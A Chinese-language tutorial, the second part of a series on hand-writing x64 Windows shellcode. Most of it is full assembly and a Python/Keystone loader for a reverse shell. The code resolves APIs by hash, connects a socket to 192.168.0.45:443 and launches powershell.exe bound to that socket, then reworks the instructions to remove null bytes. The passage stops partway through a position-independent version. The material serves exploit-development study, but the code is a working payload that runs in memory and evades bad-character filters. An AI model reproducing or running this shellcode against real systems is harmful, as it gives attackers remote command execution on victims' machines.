Shellcode 编写 - 2
调用 API
为了能实现反向 Shell,我们需要 3 个来自 ws2_32.dll 中的 函数,分别是 WSAStartup,WSASocketA,和 WSAConnect。以及来自 kernel32.dll 中的 CreateProcessA 函数。因为我们已经得到了 LoadLibraryA 的地址,因此获得 ws2_32.dll 的基址也很容易。
load_module:
mov rax, 0x6c6c; # 将字符串 "ll" 保存至RAX
push rax; # 字符串入栈
mov rax, 0x642E32335F325357; # 将字符串"WS2_32.D"保存至RAX
push rax; # 字符串入栈
mov rcx, rsp; # RCX指向"ws2_32.dll\0"字符串
sub rsp, 0x20; # 函数序言
mov rax, r12; # RAX为LoadLibraryA地址
call rax; # LoadLibraryA("ws2_32.dll")
add rsp, 0x20; # 函数尾声
add rsp, 0x10; # 清理 "ws2_32.dll"字符串所占用的栈空间
mov r14, rax; # R14保存了ws2_32.dll的基址
于是,我们获得了 ws2_32 模块的基址。
我们之前说过,Windows x64 fastcall 的调用分别将函数参数存储在 RCX,RDX,R8,R9,以及栈空间 (如果多于 4 个参数)。尽管前 4 个参数存储于寄存器,但因为参数归位,我们至少需要为栈腾出 0x20 的空间。如果参数更多,那么也相应的增加。如果不是很自信需要腾出多大的空间,宁可多分配一些。
但是,请确保栈满足 16 字节对齐!也就是 RSP 的值一般是以 0 结尾。这里,RSP 是以 8 结尾,不满足 16 字节对齐,出现了这样的报错:
有的函数参数为结构较为复杂的结构体,我们需要在栈上为其腾出足够的空间,并将结构体的地址作为参数。
sub rsp, 0x200; # 给结构体参数腾出足够空间,不需要十分精确但需要足够大
lea rdx, [rsp]; # 获得结构体的地址作为第2个参数
WSAStartup
首先要调用的是 WSAStartup 函数用于初始化 Winsock DLL 的使用。WSAStartup 函数原型如下:
int WSAStartup(
WORD wVersionRequired, # 0x0202 == Version 2.2
[out] LPWSADATA lpWSAData # Pointer to where a WSADATA structure will be populated
);
我们需要传递 2 个参数,其中 wVersionRequired 值为 0x202,第 2 个参数 lpWSAData 为结构体类型,WSAStartup 调用结束后该参数会被填充,因此我们目前只要给其预留足够空间即可。
call_wsastartup:
mov r9, rax; # R9保存了ws2_32.dll的基址
mov r8d, 0x3bfcedcb; # WSAStartup的哈希
mov rbx, r9; # 将ws2_32.dll的基址保存至RBX以备用
call parse_module; #搜索并获得WSAStartup的函数地址
xor rcx, rcx;
mov cx, 0x198;
sub rsp, rcx; # 预留足够空间给lpWSDATA结构体
lea rdx, [rsp]; # 将lpWSAData地址赋予RDX寄存器作为第2个参数
mov rcx, 0x202; # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数
sub rsp, 0x58; #函数序言
call rax; # 调用WSAStartup
add rsp, 0x58; # 函数尾声
函数返回值为 0,说明调用成功。
WSASocketA
接下来,我们需要调用 WSASocketA 函数来创建套接字。WSASocketA 函数原型如下:
SOCKET WSAAPI WSASocketA(
[in] int af, # RCX (AF_INET == 2)
[in] int type, # RDX (SOCK_STREAM == 1)
[in] int protocol, # R8 (IPPROTO_TCP == 6)
[in] LPWSAPROTOCOL_INFOA lpProtocolInfo, # R9 (NULL)
[in] GROUP g, # Stack (NULL)
[in] DWORD dwFlags # Stack (NULL)
);
共有 6 个参数,其中 af 为 2,type 为 1,protocol 我 6,剩余参数皆为 0。因为有 6 个参数,第 5 个参数开始保存在栈上。函数的返回类型为 socket。
call_wsasocket:
mov r9, rbx;
mov r8d, 0xadf509d9; # WSASocketA函数哈希
call parse_module; # 获得WSASocketA函数地址
sub rsp, 0x58; # 函数序言
mov rcx, 2; # af为2作为第1个参数
mov rdx, 1; # type为1作为第2个参数
mov r8, 6; # protocol为6作为第3个参数
xor r9, r9; # lpProtocolInfo为0作为第4个参数
mov [rsp+0x20], r9; # g为0作为第5个参数,保存在栈上
mov [rsp+0x28], r9; # dwFlags为0作为第6个参数,保存在栈上
call rax; # 调用 WSASocketA函数
mov r12, rax; # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
add rsp, 0x58; # 函数尾声
返回的描述符值为 0x230 (返回值可能有所不同),保存在 RAX 中。我们需要备份一下该返回值,因为后续会用到,而且 RAX 存储的值很容易被覆盖。
WSAConnect
接着,我们需要调用 WSAConnect 函数来建立两个套接字应用之间的连接。函数原型如下:
int WSAAPI WSAConnect(
[in] SOCKET s,
[in] const sockaddr *name,
[in] int namelen,
[in] LPWSABUF lpCallerData,
[out] LPWSABUF lpCalleeData,
[in] LPQOS lpSQOS,
[in] LPQOS lpGQOS
);
call_wsaconnect:
mov r9, rbx;
mov r8d, 0xb32dba0c; # WSAConnect哈希
call parse_module; # 获得WSAConnect地址
sub rsp, 0x200; # 为socketaddr结构体分配足够空间
mov rcx, r12; # 将WSASocketA返回的描述符传递给RCX作为第1个参数
mov rdx, 2; # AF_INET = 2
mov [rsp], rdx;" # 存储socketaddr结构体
mov rdx, 0xbb01; # 端口设置为443
mov [rsp+2], rdx;" # Add 2nd member of socketaddr
mov rdx, 0x2d00a8c0; # 设置IP为192.168.0.45
mov [rsp+4], rdx; # Add 3rd member of socketaddr
lea rdx, [rsp]; # 指向socketaddr结构体的指针作为第2个参数
mov r8, 0x16; # 设置namelen成员为0x16
xor r9, r9; # lpCallerData为0作为第4个参数
sub rsp, 0x58; # 函数序言
mov [rsp+0x20], r9; # lpCalleeData为0作为第5个参数
mov [rsp+0x28], r9; # lpSQOS为0作为第6个参数
mov [rsp+0x30], r9; # lpGQOS为0作为第7个参数
call rax; # 调用WSAConnect
add rsp, 0x58; # 函数尾声
CreateProcessA
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
STARTINFO 结构体
微软文档中给出的结构信息:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
但在内存中,成员的大小与微软文档中的有所不同:
0:004> dt combase!STARTUPINFOA
+0x000 cb : Uint4B
+0x008 lpReserved : Ptr64 Char
+0x010 lpDesktop : Ptr64 Char
+0x018 lpTitle : Ptr64 Char
+0x020 dwX : Uint4B
+0x024 dwY : Uint4B
+0x028 dwXSize : Uint4B
+0x02c dwYSize : Uint4B
+0x030 dwXCountChars : Uint4B
+0x034 dwYCountChars : Uint4B
+0x038 dwFillAttribute : Uint4B
+0x03c dwFlags : Uint4B
+0x040 wShowWindow : Uint2B
+0x042 cbReserved2 : Uint2B
+0x048 lpReserved2 : Ptr64 UChar
+0x050 hStdInput : Ptr64 Void
+0x058 hStdOutput : Ptr64 Void
+0x060 hStdError : Ptr64 Void
但这并没有关系,我们需要指定的只有成员 cb、dwFlags、以及最后 3 个成员,其他皆为 0。
完整的初版 Shellcode 如下:
import ctypes, struct
from keystone import *
CODE = (
" start:"
" call find_kernel32;"
" mov rbp, rax;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" call parse_module;" # Search LoadLibraryA's address
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" call parse_module;" # Search GetProcAddress' address
" mov r13, rax;" # R13 = GetProcAddress Address
" call load_module;" # Load ws2_32.dll
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
" mov r12, 0x0045004E00520045;" # Unicode string "ENRE"
" mov r13, 0x002e00320033004c;" # Unicode string ".23L"
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" check_lower:"
" mov r12, 0x0065006E00720065;" # Unicode string "enre"
" mov r13, 0x002e00320033006c;" # Unicode string ".23l"
" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "enre"
" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23l"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" mov r15d, dword ptr [r9 + rcx + 0x88];" # Fetch RVA of Export Directory
" add r15, r9;" # R14 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" load_module:"
" mov rax, 0x6c6c ;" # Move "ll" into RAX
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" add rsp, 0x10;" # Clean up WS2_32.DLL string
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" mov rcx, 0x202;" # wVersionRequired
" sub rsp, 0x58;"
" call rax;" # Call WSAStartup
" add rsp, 0x58;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x58;"
" mov rcx, 2;" # 2
" mov rdx, 1;" # 1
" mov r8, 6;" # 6
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x58;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" sub rsp, 0x200;" # Reserve space for socketaddr
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" mov rdx, 2;" # AF_INET = 2
" mov [rsp], rdx;" # Store structure socketaddr
" mov rdx, 0xbb01;" # Port 443 01bb
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov rdx, 0x2d00a8c0;" # IP 192.168.0.45
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" mov r8, 0x16;" # namelen = 16 bytes
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x58;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x58;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x6578652e6c6c;" # Push string "exe.ll"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov rdx, 0x100;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov rdx, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub rdx, 0x500;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
去除 0x00 字节
为了能更加直观地对应需要修改的指令,我们可以访问 https://defuse.ca/online-x86-assembler.htm#disassembly 在线工具
以下这些指令得到的机器码包含 0x00 字节
call find_kernel32;
call parse_module;
call parse_module;
call load_module;
mov r12, 45004E00520045h
mov r13, 2E00320033004Ch
mov r12, 65006E00720065h
mov r13, 2E00320033006Ch
mov r15d, dword ptr [r9+rcx+88h]
mov rax, 6C6Ch
mov rcx, 202h
mov rcx, 2
mov rdx, 1
mov r8, 6
sub rsp, 200h
mov rdx, 2
mov rdx, 0BB01h
mov rdx, 2D00A8C0h
mov r8, 16h
mov rdx, 6578652E6C6Ch
mov rdx, 100h
mov rdx, 68h
sub rdx, 500h
对于 mov r12, 0x0045004e00520045 指令,我们可以换成:
mov r12, 0x1055105E10621055;
mov rax, 0x1010101010101010
sub r12, rax;
这样,就没有 0x00 字节了。
对于 mov rcx, 2 这样数值较小的赋值操作,我们可以赋值负数再使用 neg 指令获得符号相反的数值:
mov rcx, 0xfffffffffffffffe;
neg rcx;
这样,我们也是消除了 0x00。
就像这样,除了函数调用指令的 0x00 字符外,其余部分修改好的如下:
import ctypes, struct
from keystone import *
CODE = (
" start:"
" int3;"
" call find_kernel32;"
" mov rbp, rax;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" call parse_module;" # Search LoadLibraryA's address
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" call parse_module;" # Search GetProcAddress' address
" mov r13, rax;" # R13 = GetProcAddress Address
" call load_module;" # Load ws2_32.dll
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
#" mov r12, 0x0045004E00520045;" # Unicode string "ENRE"
" mov r12, 0x1055105E10621055;" # Elimate 0x00 1-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 1-2
" sub r12, rax;" # Elimate 0x00 1-3
#" mov r13, 0x002e00320033004c;" # Unicode string ".23L"
" mov r13, 0x103e10421043105c;" # Elimate 0x00 2-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 2-2
" sub r13, rax;" # Elimate 0x00 2-3
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" mov rax, r9;" # Save Dll Base in RAX as the return value
" ret;"
" check_lower:"
#" mov r12, 0x0065006E00720065;" # Unicode string "enre"
#" mov r12, 0x1075107E10821075;" # Elimate 0x00 3-1
#" mov rax, 0x1010101010101010;" # Elimate 0x00 3-2
#" sub r12, rax;" # Elimate 0x00 3-3
#
#" mov r13, 0x002e00320033006c;" # Unicode string ".23l"
#" mov r13, 0x103e10421043107c;" # Elimate 0x00 4-1
#" mov rax, 0x1010101010101010;" # Elimate 0x00 4-2
#" sub r13, rax;" # Elimate 0x00 4-3
#
#" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
#" cmp rdx, r12;" # Compare the first 4 characters against "enre"
#" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
#" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23l" to RDX
#" cmp rdx, r13;" # Compare the next 4 characters ".23l"
#" jne next_module;" # If not equal, move to next module
#" mov rax, r9;" # Save Dll Base in RAX as the return value
#" ret;"
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
#" mov r15d, dword ptr [r9 + rcx + 0x88];" # Fetch RVA of Export Directory
" xor r15, r15;"
" mov r15b, 0x88;"
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"
" add r15, r9;" # R15 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" load_module:"
#" mov rax, 0x6c6c ;" # Move "ll" into RAX
" xor rax, rax;"
" xor r13, r13;"
" mov ax, 0xffff;" #
" mov r13w, 0x9393;"
" sub rax, r13;"
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" add rsp, 0x10;" # Clean up WS2_32.DLL string
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
#" mov rcx, 0x202;" # wVersionRequired
" xor rcx, rcx;"
" xor r13, r13;"
" mov cx, 0x3333;"
" mov r13w, 0x1111;"
" sub rcx, r13;"
" sub rsp, 0x58;"
" call rax;" # Call WSAStartup
" add rsp, 0x58;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x58;"
#" mov rcx, 2;" # 2
" xor rcx, rcx;"
" inc rcx;"
" inc rcx;"
#" mov rdx, 1;" # 1
" xor rdx, rdx;"
" inc rdx;"
#" mov r8, 6;" # 6
" xor r8, r8;"
" mov r8b, 0xfffa;"
" neg r8b;"
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x58;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
#" sub rsp, 0x200;" # Reserve space for socketaddr
" xor r13, r13;"
" xor r15, r15;"
" mov r13w, 0xffff;"
" mov r15w, 0xfdff;"
" sub r13, r15;"
" sub rsp, r13;"
" mov rcx, r12;" # Move socket to RCX as the 1st argument
#" mov rdx, 2 # AF_INET = 2
" xor rdx, rdx;"
" inc rdx;"
" inc rdx;"
" mov [rsp], rdx;" # Store structure socketaddr
#" mov rdx, 0xbb01;" # Port 443 01bb
" xor rdx, rdx;"
" mov dx, 0xbb01;"
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
#" mov rdx, 0x2d00a8c0;" # IP 192.168.0.45
" mov edx, 0x3d10b8d0;"
" sub edx, 0x10101010;"
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
#" mov r8, 0x16;" # namelen = 16 bytes
" xor r8, r8;"
" mov r8w, 0x2610;"
" sub r8w, 0x1010;"
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x58;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x58;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
#" mov rdx, 0x6578652e6c6c;" # Push string "exe.ll"
" mov rdx, 0x10107588753e7c7c;"
" mov r13, 0x1010101010101010;"
" sub rdx, r13;"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
#" mov rdx, 0x100;"
" mov dx, 0x1110;"
" sub dx, 0x1010;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
#" mov rdx, 0x68;"
" mov dl, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
#" sub rdx, 0x500;"
" sub dl, 0x68;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
sc = ""
print("Length of shellcode: "+str(len(encoding)))
for dec in encoding:
sc += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print(sc)
PIC 代码
import ctypes, struct
from keystone import *
CODE = (
" start:"
" int 3;"
" find_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" next_module:"
" mov r9, [rsi + 0x20];" # R9 = InMemoryOrderModuleList[x].DllBase
" mov rdi, [rsi + 0x50];" # RDI = InMemoryOrderModuleList[x].DllBaseName
" mov rsi, [rsi];" # RSI = InMemoryOrderModuleList[x].Flink
" add rdi, 2;" # Skip the 1st character of "KERNEL32.DLL"
" check_upper:"
" mov r12, 0x1055105E10621055;" # Elimate 0x00 1-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 1-2
" sub r12, rax;" # Elimate 0x00 1-3
" mov r13, 0x103e10421043105c;" # Elimate 0x00 2-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 2-2
" sub r13, rax;" # Elimate 0x00 2-3
" mov rdx, qword ptr [rdi];" # Move "ERNEL32.DLL" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "ENRE"
" jne check_lower;" # If no equal, the dll name could be lower case
" mov rdx, qword ptr [rdi + 8];" # If equal, move ".23L" to RDX
" cmp rdx, r13;" # Compare the next 4 characters ".23L"
" jne next_module;" # If not equal, move to next module
" jmp jump_proxy;"
" check_lower:"
" mov r12, 0x1075107E10821075;" # Elimate 0x00 3-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 3-2
" sub r12, rax;" # Elimate 0x00 3-3
" mov r13, 0x103e10421043107c;" # Elimate 0x00 4-1
" mov rax, 0x1010101010101010;" # Elimate 0x00 4-2
" sub r13, rax;" # Elimate 0x00 4-3
" mov rdx, qword ptr [rdi];" # Move "ernel32.dll" to RDX
" cmp rdx, r12;" # Compare the first 4 characters against "enre"
" jne next_module;" # If no equal, case sensitivity is not the cause, just move to the next module
